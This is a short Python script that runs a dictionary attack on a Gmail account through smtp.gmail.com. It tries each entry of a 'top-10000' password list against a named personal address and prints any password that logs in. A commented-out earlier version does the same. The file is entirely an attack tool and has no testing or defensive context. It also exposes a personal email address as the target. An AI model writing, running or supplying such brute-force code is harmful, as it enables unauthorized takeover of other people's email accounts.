import smtplib
# from tqdm import tqdm
# import os
# import zipfile
# import sys
# smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
# smtpserver.ehlo()
# smtpserver.starttls()
# user = "alan.chen173@gmail.com"
# passfile = "password-list-top-10000.txt"
# n_words = len(list(open(passfile, "rb")))
# with open(passfile, "r") as wordlist:
# 	for password in tqdm(wordlist, total=n_words, unit="word"):
# 		try: 
# 			smtpserver.login(user, password)
# 			print("+++ Password found  : %s ", password ) 
# 			break
# 		except:
# 			continue
# 			# print ("-- Password is incorrect : %s ", password) 

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = "alan.chen173@gmail.com"
passfile = "password-list-top-10000.txt"
passfile = open (passfile, "r")

for password in passfile :
		try : 
				smtpserver.login(user, password)
				print("+++ Password found  : %s ", password ) 
				break
		except smtplib.SMTPAuthenticationError:
				print ("-- Password is incorrect : %s ", password) 
